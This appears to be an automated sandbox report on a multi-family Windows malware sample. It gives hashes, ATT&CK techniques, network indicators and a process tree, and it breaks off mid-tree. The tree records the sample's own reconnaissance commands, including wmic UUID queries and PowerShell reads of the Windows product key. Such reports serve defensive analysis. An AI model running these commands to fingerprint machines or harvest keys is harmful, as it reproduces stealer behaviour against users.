51f8009c638d8fb3c7e560c185218860a7133c6b8956799683fda9c9b6eede02

Analysis

max time kernel
148s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/07/2026, 19:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
Size 17.8MB
Sample260710-x1lsbsh15x
SHA256 51f8009c638d8fb3c7e560c185218860a7133c6b8956799683fda9c9b6eede02
MD5 dc829c025631fe2e73c42030beef229c
SHA1 7d3fcb93249a516619e9ff6faaf44105fb07508f
SHA512 b40746f196c1752e388b390d0b88c58e8d1b8e7bd0fd36a0dcf23cb3a228435684aef339a08c25e9ad3c0f93b1244c2481053d49c7cad1ef4cb8bc6950e2091f
SSDEEP 393216:3xdyJhoonb3pPyIL2Vmd6mI/m3pmMBkqQCwuns9BJHwJthAemyr:3zyJ+UjpPyIyVmdSKmkhZHs1+tRmg
TLSH
T1C917335957E41D99E1F56837D98FE832D2CEB91A9B18E14E8340D20A1DE72E349B3F30
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	3888	powershell.exe
9	3888	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4720	powershell.exe
2484	powershell.exe
3888	powershell.exe

Loads dropped DLL 49 IoCs

pid	Process
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
6	discord.com
7	discord.com
8	raw.githubusercontent.com
1	discord.com
1	raw.githubusercontent.com

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
3460	cmd.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io
3	ipinfo.io

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
248	wmic.exe
248	wmic.exe
248	wmic.exe
248	wmic.exe
5564	powershell.exe
5564	powershell.exe
416	powershell.exe
416	powershell.exe
3560	wmic.exe
3560	wmic.exe
3560	wmic.exe
3560	wmic.exe
2772	powershell.exe
2772	powershell.exe
2764	powershell.exe
2764	powershell.exe
1676	wmic.exe
1676	wmic.exe
1676	wmic.exe
1676	wmic.exe
6116	powershell.exe
6116	powershell.exe
5976	powershell.exe
5976	powershell.exe
3340	wmic.exe
3340	wmic.exe
3340	wmic.exe
3340	wmic.exe
4364	powershell.exe
4364	powershell.exe
4728	powershell.exe
4728	powershell.exe
5464	wmic.exe
5464	wmic.exe
5464	wmic.exe
5464	wmic.exe
3064	powershell.exe
3064	powershell.exe
3240	powershell.exe
3240	powershell.exe
4656	wmic.exe
4656	wmic.exe
4656	wmic.exe
4656	wmic.exe
3656	powershell.exe
3656	powershell.exe
2108	powershell.exe
2108	powershell.exe
1424	wmic.exe
1424	wmic.exe
1424	wmic.exe
1424	wmic.exe
5532	powershell.exe
5532	powershell.exe
5104	powershell.exe
5104	powershell.exe
5696	wmic.exe
5696	wmic.exe
5696	wmic.exe
5696	wmic.exe
5032	powershell.exe
5032	powershell.exe
5692	powershell.exe
5692	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
Token: SeIncreaseQuotaPrivilege	248	wmic.exe
Token: SeSecurityPrivilege	248	wmic.exe
Token: SeTakeOwnershipPrivilege	248	wmic.exe
Token: SeLoadDriverPrivilege	248	wmic.exe
Token: SeSystemProfilePrivilege	248	wmic.exe
Token: SeSystemtimePrivilege	248	wmic.exe
Token: SeProfSingleProcessPrivilege	248	wmic.exe
Token: SeIncBasePriorityPrivilege	248	wmic.exe
Token: SeCreatePagefilePrivilege	248	wmic.exe
Token: SeBackupPrivilege	248	wmic.exe
Token: SeRestorePrivilege	248	wmic.exe
Token: SeShutdownPrivilege	248	wmic.exe
Token: SeDebugPrivilege	248	wmic.exe
Token: SeSystemEnvironmentPrivilege	248	wmic.exe
Token: SeRemoteShutdownPrivilege	248	wmic.exe
Token: SeUndockPrivilege	248	wmic.exe
Token: SeManageVolumePrivilege	248	wmic.exe
Token: 33	248	wmic.exe
Token: 34	248	wmic.exe
Token: 35	248	wmic.exe
Token: 36	248	wmic.exe
Token: SeIncreaseQuotaPrivilege	248	wmic.exe
Token: SeSecurityPrivilege	248	wmic.exe
Token: SeTakeOwnershipPrivilege	248	wmic.exe
Token: SeLoadDriverPrivilege	248	wmic.exe
Token: SeSystemProfilePrivilege	248	wmic.exe
Token: SeSystemtimePrivilege	248	wmic.exe
Token: SeProfSingleProcessPrivilege	248	wmic.exe
Token: SeIncBasePriorityPrivilege	248	wmic.exe
Token: SeCreatePagefilePrivilege	248	wmic.exe
Token: SeBackupPrivilege	248	wmic.exe
Token: SeRestorePrivilege	248	wmic.exe
Token: SeShutdownPrivilege	248	wmic.exe
Token: SeDebugPrivilege	248	wmic.exe
Token: SeSystemEnvironmentPrivilege	248	wmic.exe
Token: SeRemoteShutdownPrivilege	248	wmic.exe
Token: SeUndockPrivilege	248	wmic.exe
Token: SeManageVolumePrivilege	248	wmic.exe
Token: 33	248	wmic.exe
Token: 34	248	wmic.exe
Token: 35	248	wmic.exe
Token: 36	248	wmic.exe
Token: SeDebugPrivilege	5564	powershell.exe
Token: SeDebugPrivilege	416	powershell.exe
Token: SeIncreaseQuotaPrivilege	3560	wmic.exe
Token: SeSecurityPrivilege	3560	wmic.exe
Token: SeTakeOwnershipPrivilege	3560	wmic.exe
Token: SeLoadDriverPrivilege	3560	wmic.exe
Token: SeSystemProfilePrivilege	3560	wmic.exe
Token: SeSystemtimePrivilege	3560	wmic.exe
Token: SeProfSingleProcessPrivilege	3560	wmic.exe
Token: SeIncBasePriorityPrivilege	3560	wmic.exe
Token: SeCreatePagefilePrivilege	3560	wmic.exe
Token: SeBackupPrivilege	3560	wmic.exe
Token: SeRestorePrivilege	3560	wmic.exe
Token: SeShutdownPrivilege	3560	wmic.exe
Token: SeDebugPrivilege	3560	wmic.exe
Token: SeSystemEnvironmentPrivilege	3560	wmic.exe
Token: SeRemoteShutdownPrivilege	3560	wmic.exe
Token: SeUndockPrivilege	3560	wmic.exe
Token: SeManageVolumePrivilege	3560	wmic.exe
Token: 33	3560	wmic.exe
Token: 34	3560	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1844 wrote to memory of 988	1844	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	86
PID 988 wrote to memory of 248	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	87
PID 988 wrote to memory of 5564	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	90
PID 988 wrote to memory of 416	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	92
PID 988 wrote to memory of 4764	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	95
PID 988 wrote to memory of 3560	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	94
PID 4764 wrote to memory of 5376	4764	cmd.exe	98
PID 988 wrote to memory of 2772	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	99
PID 988 wrote to memory of 1072	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	100
PID 1072 wrote to memory of 3460	1072	cmd.exe	103
PID 988 wrote to memory of 2764	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	104
PID 988 wrote to memory of 1676	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	106
PID 988 wrote to memory of 6116	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	108
PID 988 wrote to memory of 5976	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	110
PID 988 wrote to memory of 3340	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	154
PID 988 wrote to memory of 4364	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	114
PID 988 wrote to memory of 4728	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	116
PID 988 wrote to memory of 5464	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	118
PID 988 wrote to memory of 3064	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	120
PID 988 wrote to memory of 3240	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	122
PID 988 wrote to memory of 4656	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	124
PID 988 wrote to memory of 3656	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	126
PID 988 wrote to memory of 2108	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	212
PID 988 wrote to memory of 1424	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	130
PID 988 wrote to memory of 5532	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	132
PID 988 wrote to memory of 5104	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	134
PID 988 wrote to memory of 5696	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	219
PID 988 wrote to memory of 5032	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	138
PID 988 wrote to memory of 5692	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	140
PID 988 wrote to memory of 4784	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	142
PID 988 wrote to memory of 4384	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	267
PID 988 wrote to memory of 5376	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	146
PID 988 wrote to memory of 3076	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	191
PID 988 wrote to memory of 4700	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	150
PID 988 wrote to memory of 1660	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	152
PID 988 wrote to memory of 3340	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	154
PID 988 wrote to memory of 3120	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	156
PID 988 wrote to memory of 2024	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	158
PID 988 wrote to memory of 1832	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	244
PID 988 wrote to memory of 5428	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	162
PID 988 wrote to memory of 3300	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	164
PID 988 wrote to memory of 2112	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	166
PID 988 wrote to memory of 3344	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	168
PID 988 wrote to memory of 1688	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	170
PID 988 wrote to memory of 6120	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	172
PID 988 wrote to memory of 2428	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	174
PID 988 wrote to memory of 3836	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	176
PID 988 wrote to memory of 2944	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	178
PID 988 wrote to memory of 3200	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	180
PID 988 wrote to memory of 3780	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	182
PID 988 wrote to memory of 2824	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	184
PID 988 wrote to memory of 3432	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	186
PID 988 wrote to memory of 5760	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	188
PID 988 wrote to memory of 5840	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	190
PID 988 wrote to memory of 1204	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	192
PID 988 wrote to memory of 1396	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	194
PID 988 wrote to memory of 1000	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	196
PID 988 wrote to memory of 1872	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	198
PID 988 wrote to memory of 3808	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	200
PID 988 wrote to memory of 5124	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	202
PID 988 wrote to memory of 2268	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	204
PID 988 wrote to memory of 5712	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	206
PID 988 wrote to memory of 1868	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	208
PID 988 wrote to memory of 2168	988	2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	210

C:\Users\Admin\AppData\Local\Temp\2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Users\Admin\AppData\Local\Temp\2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-10_dc829c025631fe2e73c42030beef229c_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe"
  2⤵
  - Loads dropped DLL
  - Maps connected drives based on registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:416
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2> nul
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
      4⤵
      PID:5376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2> nul
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1072
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName
      4⤵
      PID:3460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2764
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5976
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4728
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3240
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2108
- - C:\Windows\System32\Wbem\wmic.exe
